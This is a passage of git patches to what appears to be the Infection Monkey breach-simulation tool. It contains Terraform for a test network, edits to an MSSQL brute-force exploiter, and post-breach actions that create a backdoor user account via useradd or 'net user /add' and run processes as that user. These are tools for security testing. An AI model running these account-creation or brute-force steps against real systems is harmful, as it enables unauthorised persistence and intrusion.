subnetwork="${local.resource_prefix}tunneling-main" network_ip="10.2.1.9" } network_interface{ - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.9" } } @@ -177,11 +177,11 @@ resource "google_compute_instance_from_template" "tunneling-10" { auto_delete = true } network_interface{ - subnetwork="tunneling-main" + subnetwork="${local.resource_prefix}tunneling-main" network_ip="10.2.1.10" } network_interface{ - subnetwork="tunneling2-main" + subnetwork="${local.resource_prefix}tunneling2-main" network_ip="10.2.0.10" } } @@ -196,7 +196,7 @@ resource "google_compute_instance_from_template" "tunneling-11" { auto_delete = true } network_interface{ - subnetwork="tunneling2-main" + subnetwork="${local.resource_prefix}tunneling2-main" network_ip="10.2.0.11" } } @@ -211,7 +211,7 @@ resource "google_compute_instance_from_template" "sshkeys-11" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.11" } } @@ -226,7 +226,7 @@ resource "google_compute_instance_from_template" "sshkeys-12" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.12" } } @@ -241,7 +241,7 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.13" } } @@ -257,7 +257,7 @@ resource "google_compute_instance_from_template" "mimikatz-14" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.14" } } @@ -272,7 +272,7 @@ resource "google_compute_instance_from_template" "mimikatz-15" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.15" } } @@ -287,7 +287,7 @@ resource "google_compute_instance_from_template" "mssql-16" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.16" } } @@ -302,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.17" access_config { // Cheaper, non-premium routing @@ -322,7 +322,7 @@ resource "google_compute_instance_from_template" "weblogic-18" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.18" } } @@ -337,7 +337,7 @@ resource "google_compute_instance_from_template" "weblogic-19" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.19" } } @@ -352,7 +352,7 @@ resource "google_compute_instance_from_template" "smb-20" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.20" } } @@ -367,7 +367,7 @@ resource "google_compute_instance_from_template" "scan-21" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.21" } } @@ -382,7 +382,7 @@ resource "google_compute_instance_from_template" "scan-22" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.22" } } @@ -397,7 +397,7 @@ resource "google_compute_instance_from_template" "struts2-23" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.23" } } @@ -412,7 +412,7 @@ resource "google_compute_instance_from_template" "struts2-24" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.24" } } @@ -429,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.250" access_config { // Cheaper, non-premium routing (not available in some regions) @@ -450,7 +450,7 @@ resource "google_compute_instance_from_template" "island-windows-251" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.251" access_config { // Cheaper, non-premium routing (not available in some regions) diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf index ed48864d9..6ae6dafdc 100644 --- a/envs/monkey_zoo/terraform/templates.tf +++ b/envs/monkey_zoo/terraform/templates.tf @@ -1,5 +1,5 @@ resource "google_compute_instance_template" "ubuntu16" { - name = "ubuntu16" + name = "${local.resource_prefix}ubuntu16" description = "Creates ubuntu 16.04 LTS servers at europe-west3-a." tags = ["test-machine", "ubuntu16", "linux"] @@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" { } resource "google_compute_instance_template" "windows2016" { - name = "windows2016" + name = "${local.resource_prefix}windows2016" description = "Creates windows 2016 core servers at europe-west3-a." tags = ["test-machine", "windowsserver2016", "windows"] @@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" { email="${local.service_account_email}" scopes=["cloud-platform"] } -} \ No newline at end of file +} From 2a78b62d00e1d067a6057847d7a14df82c032aae Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 11:35:18 +0300 Subject: [PATCH 221/276] Moved imports to local imports --- .../post_breach/actions/communicate_as_new_user.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 6eaf73db5..2522ab1cf 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -4,10 +4,6 @@ import random import string import subprocess -import win32con -import win32process -import win32security - from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from infection_monkey.post_breach.actions.add_user import BackdoorUser from infection_monkey.post_breach.pba import PBA @@ -39,6 +35,10 @@ class CommunicateAsNewUser(PBA): return # no point to continue if failed creating the user. try: + # Importing these only on windows, as they won't exist on linux. + import win32con + import win32process + import win32security # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera new_user_logon_token_handle = win32security.LogonUser( username, From 005618072dfec88893ecd5c635b65bf9613054d2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 11:46:28 +0300 Subject: [PATCH 222/276] Removed unused mssqlexec objects property --- monkey/infection_monkey/exploit/mssqlexec.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 9e8fdc9fb..61fcd1823 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -43,7 +43,6 @@ class MSSQLExploiter(HostExploiter): def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.cursor = None - self.monkey_binary_on_host_path = None self.monkey_server = None self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) From 8484925a64a1c90ccb9cdb54c2b450fe8e92181b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 12:05:46 +0300 Subject: [PATCH 223/276] Added aws_instance_id field to monkey model --- monkey/monkey_island/cc/models/monkey.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 35fcd3fcd..c0eeb20b3 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -38,6 +38,8 @@ class Monkey(Document): ttl_ref = ReferenceField(MonkeyTtl) tunnel = ReferenceField("self") command_control_channel = EmbeddedDocumentField(CommandControlChannel) + aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS + # instance. See https://github.com/guardicore/monkey/issues/426. # LOGIC @staticmethod From 02c7d6c30e740948f3be251a1e927099019aa0a8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 12:11:47 +0300 Subject: [PATCH 224/276] Added docs about order of method calls --- monkey/infection_monkey/exploit/mssqlexec.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 61fcd1823..c08aec28d 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -47,6 +47,10 @@ class MSSQLExploiter(HostExploiter): self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) def _exploit_host(self): + """ + First this method brute forces to get the mssql connection (cursor). + Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after + """ # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) From 4f912d9d1e389374efa3fc2c688607692cd4f8f6 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 12:30:55 +0300 Subject: [PATCH 225/276] Fixed sudo usage + added debug logs --- .../post_breach/actions/communicate_as_new_user.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 2522ab1cf..53270e8fb 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -94,7 +94,8 @@ class CommunicateAsNewUser(PBA): try: linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) commandline = "'ping -c 2 google.com'" - linux_cmds.extend([";", "sudo", "-", username, "-c", commandline]) + linux_cmds.extend([";", "sudo", "-u", username, commandline]) + logger.debug("Trying these commands: {}".format(str(linux_cmds))) output = subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True) PostBreachTelem(self, ( CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send() From 097d8831c87d6220e207905fae977e3f5fd7af2e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 12:40:53 +0300 Subject: [PATCH 226/276] Joining commands using ,,.join() for linux --- .../post_breach/actions/add_user.py | 16 +++------------- .../actions/communicate_as_new_user.py | 5 +++-- 2 files changed, 6 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 9354ca417..b82c59a66 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -4,16 +4,6 @@ from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.config import WormConfiguration -__author__ = 'danielg' - -LINUX_COMMANDS = ['useradd', '-M', '--expiredate', - datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.user_to_add] - -WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, - WormConfiguration.remote_user_pass, - '/add', '/ACTIVE:NO'] - class BackdoorUser(PBA): def __init__(self): @@ -34,13 +24,13 @@ class BackdoorUser(PBA): def get_linux_commands_to_add_user(username): linux_cmds = [ 'useradd', - '-M', + '-M', # Do not create homedir '--expiredate', datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', - '-c', - 'MONKEY_USER', + '-c', # Comment + 'MONKEY_USER', # Comment username] return linux_cmds diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 53270e8fb..df4688fb5 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -95,8 +95,9 @@ class CommunicateAsNewUser(PBA): linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) commandline = "'ping -c 2 google.com'" linux_cmds.extend([";", "sudo", "-u", username, commandline]) - logger.debug("Trying these commands: {}".format(str(linux_cmds))) - output = subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True) + final_command = ' '.join(linux_cmds) + logger.debug("Trying to execute these commands: {}".format(final_command)) + output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) PostBreachTelem(self, ( CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send() return From ae414bcd13d50fb1979bede58728c2a219d5f8da Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 12:42:46 +0300 Subject: [PATCH 227/276] Remove unnecessary apostrophes from commandline --- .../post_breach/actions/communicate_as_new_user.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index df4688fb5..9335c90fe 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -93,7 +93,7 @@ class CommunicateAsNewUser(PBA): else: try: linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - commandline = "'ping -c 2 google.com'" + commandline = "ping -c 2 google.com" linux_cmds.extend([";", "sudo", "-u", username, commandline]) final_command = ' '.join(linux_cmds) logger.debug("Trying to execute these commands: {}".format(final_command)) From 5ab36ffd0175ea06d2cc76414e3b16be32ada516 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 16:06:49 +0300 Subject: [PATCH 228/276] Added firewall rules, fixed buggy ones --- envs/monkey_zoo/terraform/firewalls.tf | 31 ++++++++++++++++++++++---- 1 file changed, 27 insertions(+), 4 deletions(-) diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf index cafb0181d..b183a8d32 100644 --- a/envs/monkey_zoo/terraform/firewalls.tf +++ b/envs/monkey_zoo/terraform/firewalls.tf @@ -35,7 +35,7 @@ resource "google_compute_firewall" "monkeyzoo-in" { direction = "INGRESS" priority = "65534" - source_ranges = ["10.2.2.0/24"] + source_ranges = ["10.2.2.0/24", "10.2.1.0/27"] } resource "google_compute_firewall" "monkeyzoo-out" { @@ -48,7 +48,7 @@ resource "google_compute_firewall" "monkeyzoo-out" { direction = "EGRESS" priority = "65534" - destination_ranges = ["10.2.2.0/24"] + destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"] } resource "google_compute_firewall" "tunneling-in" { @@ -60,7 +60,7 @@ resource "google_compute_firewall" "tunneling-in" { } direction = "INGRESS" - source_ranges = ["10.2.1.0/28"] + source_ranges = ["10.2.2.0/24", "10.2.0.0/28"] } resource "google_compute_firewall" "tunneling-out" { @@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" { } direction = "EGRESS" - destination_ranges = ["10.2.1.0/28"] + destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"] +} +resource "google_compute_firewall" "tunneling2-in" { + name = "${local.resource_prefix}tunneling2-in" + network = "${google_compute_network.tunneling2.name}" + + allow { + protocol = "all" + } + + direction = "INGRESS" + source_ranges = ["10.2.1.0/27"] +} + +resource "google_compute_firewall" "tunneling2-out" { + name = "${local.resource_prefix}tunneling2-out" + network = "${google_compute_network.tunneling2.name}" + + allow { + protocol = "all" + } + + direction = "EGRESS" + destination_ranges = ["10.2.1.0/27"] } From 86cf09419ce06285170f1251dd0273f932f588a2 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 16:24:46 +0300 Subject: [PATCH 229/276] Moved imports to top of try --- .../post_breach/actions/communicate_as_new_user.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 9335c90fe..182acea00 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -31,14 +31,15 @@ class CommunicateAsNewUser(PBA): def run(self): username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) if is_windows_os(): + # Importing these only on windows, as they won't exist on linux. + import win32con + import win32process + import win32security + if not self.try_to_create_user_windows(username, PASSWORD): return # no point to continue if failed creating the user. try: - # Importing these only on windows, as they won't exist on linux. - import win32con - import win32process - import win32security # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera new_user_logon_token_handle = win32security.LogonUser( username, @@ -99,7 +100,7 @@ class CommunicateAsNewUser(PBA): logger.debug("Trying to execute these commands: {}".format(final_command)) output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send() + CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send() return except subprocess.CalledProcessError as e: PostBreachTelem(self, (e.output, False)).send() From 5a29e047ab1d6a8ed182074bb4ecb9dda88c550a Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 17:00:28 +0300 Subject: [PATCH 230/276] Extracted events amount badge to function --- .../zerotrust/EventsButton.js | 23 +++++++++++-------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index 66f1ae3d3..f7a3fbbe5 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -20,23 +20,26 @@ export default class EventsButton extends Component { }; render() { + return + +
    + +
    +
    ; + } + + createEventsAmountBadge() { let eventsAmountBadge; if (this.props.events.length > 10) { eventsAmountBadge = 9+; } else { eventsAmountBadge = {this.props.events.length}; } - return - -
    - -
    -
    ; + return eventsAmountBadge; } - } EventsButton.propTypes = { From 3a290b46acfa52a20827aa3f1549bd7016c1f7a0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 5 Sep 2019 16:40:02 +0300 Subject: [PATCH 231/276] Fixed T1078 attack technique not implemented, empty PBA message and other bugs --- .../post_breach/actions/users_custom_pba.py | 2 +- monkey/infection_monkey/post_breach/pba.py | 6 +++++- monkey/monkey_island/cc/services/config_schema.py | 4 ++-- .../cc/ui/src/components/report-components/PostBreach.js | 2 +- 4 files changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index a388813ab..118868d0c 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -27,7 +27,7 @@ class UsersPBA(PBA): Defines user's configured post breach action. """ def __init__(self): - super(UsersPBA, self).__init__("File execution") + super(UsersPBA, self).__init__("Custom post breach action") self.filename = '' if not is_windows_os(): # Add linux commands to PBA's diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 86addd009..926594192 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -12,6 +12,7 @@ LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' +EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" class PBA(object): """ @@ -73,7 +74,10 @@ class PBA(object): :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True + output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True) + if not output: + output = EXECUTION_WITHOUT_OUTPUT + return output, True except subprocess.CalledProcessError as e: # Return error output of the command return e.output, False diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 93b096ffa..4ef418b6c 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -406,7 +406,7 @@ SCHEMA = { "title": "Harvest Azure Credentials", "type": "boolean", "default": True, - "attack_techniques": ["T1003", "T1078"], + "attack_techniques": ["T1003"], "description": "Determine if the Monkey should try to harvest password credentials from Azure VMs" }, @@ -421,7 +421,7 @@ SCHEMA = { "title": "Should use Mimikatz", "type": "boolean", "default": True, - "attack_techniques": ["T1003", "T1078"], + "attack_techniques": ["T1003"], "description": "Determines whether to use Mimikatz" }, } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index aacdc8845..ea39e3c45 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -24,7 +24,7 @@ let renderPbaResults = function (results) { }; const subColumns = [ - {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }}, + {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160}, {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }} ]; From 731e3acb9035e7f8cb4699837606d5f4de06c0b7 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 5 Sep 2019 20:56:00 +0300 Subject: [PATCH 232/276] Added exception info to monkey main function. --- monkey/infection_monkey/main.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 2ddf9127e..3b51c1be2 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -127,8 +127,8 @@ def main(): json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': ')) return True - except Exception: - LOG.exception("Exception thrown from monkey's start function") + except Exception as e: + LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e)) finally: monkey.cleanup() From e9cd20a3457dff37e14abd589a9d04225f0e196e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 5 Sep 2019 20:56:17 +0300 Subject: [PATCH 233/276] If one PBA fails it shouldn't stop all the rest. --- monkey/infection_monkey/post_breach/post_breach_handler.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 034e1c451..c68422d4c 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -25,8 +25,11 @@ class PostBreach(object): Executes all post breach actions. """ for pba in self.pba_list: - LOG.debug("Executing PBA: '{}'".format(pba.name)) - pba.run() + try: + LOG.debug("Executing PBA: '{}'".format(pba.name)) + pba.run() + except Exception as e: + LOG.error("PBA {} failed. Error info: {}".format(pba.name, e)) LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) @staticmethod From e618378c955140521e634d4024a9b9634636a0ab Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 5 Sep 2019 20:56:48 +0300 Subject: [PATCH 234/276] Vastly improved communicate as new user PBA code structure, also not leaking any more process or thread handles. --- .../infection_monkey/monkey_utils/__init__.py | 0 .../monkey_utils/windows/__init__.py | 0 .../monkey_utils/windows/new_user.py | 64 ++++++++ .../actions/communicate_as_new_user.py | 151 ++++++++---------- 4 files changed, 134 insertions(+), 81 deletions(-) create mode 100644 monkey/infection_monkey/monkey_utils/__init__.py create mode 100644 monkey/infection_monkey/monkey_utils/windows/__init__.py create mode 100644 monkey/infection_monkey/monkey_utils/windows/new_user.py diff --git a/monkey/infection_monkey/monkey_utils/__init__.py b/monkey/infection_monkey/monkey_utils/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/monkey_utils/windows/__init__.py b/monkey/infection_monkey/monkey_utils/windows/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py new file mode 100644 index 000000000..be6e2534d --- /dev/null +++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py @@ -0,0 +1,64 @@ +import logging +import subprocess + +from infection_monkey.post_breach.actions.add_user import BackdoorUser +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem + + +logger = logging.getLogger(__name__) + + +class NewUserError(Exception): + pass + + +class NewUser(object): + """ + RAII object to use for creating and using a new user in Windows. Use with `with`. + User will be created when the instance is instantiated. + User will log on start of `with` scope. + User will log off on end of `with` scope. + + Example: + # Created # Logged on + with NewUser("user", "pass") as new_user: + ... + ... + # Logged off + ... + """ + def __init__(self, username, password): + """ + Creates a user with the username + password. + :raises: subprocess.CalledProcessError if failed to add the user. + """ + self.username = username + self.password = password + + windows_cmds = BackdoorUser.get_windows_commands_to_add_user(self.username, self.password, True) + logger.debug("Trying these commands: {}".format(str(windows_cmds))) + _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) + + def __enter__(self): + # Importing these only on windows, as they won't exist on linux. + import win32security + import win32con + + try: + # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera + self.logon_handle = win32security.LogonUser( + self.username, + ".", # Use current domain. + self.password, + win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user). + win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers. + except Exception as err: + raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err))) + return self + + def get_logon_handle(self): + return self.logon_handle + + def __exit__(self, exc_type, exc_val, exc_tb): + self.logon_handle.Close() + # TODO Delete user diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 182acea00..8869a225f 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -5,6 +5,7 @@ import string import subprocess from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from infection_monkey.monkey_utils.windows.new_user import NewUser, NewUserError from infection_monkey.post_breach.actions.add_user import BackdoorUser from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem @@ -31,88 +32,76 @@ class CommunicateAsNewUser(PBA): def run(self): username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) if is_windows_os(): - # Importing these only on windows, as they won't exist on linux. - import win32con - import win32process - import win32security - - if not self.try_to_create_user_windows(username, PASSWORD): - return # no point to continue if failed creating the user. - - try: - # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera - new_user_logon_token_handle = win32security.LogonUser( - username, - ".", # use current domain - PASSWORD, - win32con.LOGON32_LOGON_INTERACTIVE, # logon type - interactive (normal user) - win32con.LOGON32_PROVIDER_DEFAULT) # logon provider - except Exception as e: - PostBreachTelem( - self, - ("Can't logon as {}. Error: {}".format(username, e.message), False) - ).send() - return # no point to continue if can't log on. - - # Using os.path is OK, as this is on windows for sure - ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe") - if not os.path.exists(ping_app_path): - PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send() - return # Can't continue without ping. - - try: - # Open process as that user: - # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera - commandline = "{} {}".format(ping_app_path, "google.com") - _ = win32process.CreateProcessAsUser( - new_user_logon_token_handle, # A handle to the primary token that represents a user. - None, # The name of the module to be executed. - commandline, # The command line to be executed. - None, # Process attributes - None, # Thread attributes - True, # Should inherit handles - win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. - None, # An environment block for the new process. If this parameter is NULL, the new process - # uses the environment of the calling process. - None, # CWD. If this parameter is NULL, the new process will have the same current drive and - # directory as the calling process. - win32process.STARTUPINFO() # STARTUPINFO structure. - # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa - ) - - PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send() - return - except Exception as e: - # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the "Replace a - # process level token" right, using Local Security Policy editing. Worked, but only after reboot. So: - # 1. need to decide if worth it, and then - # 2. need to find how to do this using python... - PostBreachTelem(self, ( - "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() - return + self.communicate_as_new_user_windows(username) else: - try: - linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - commandline = "ping -c 2 google.com" - linux_cmds.extend([";", "sudo", "-u", username, commandline]) - final_command = ' '.join(linux_cmds) - logger.debug("Trying to execute these commands: {}".format(final_command)) - output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) - PostBreachTelem(self, ( - 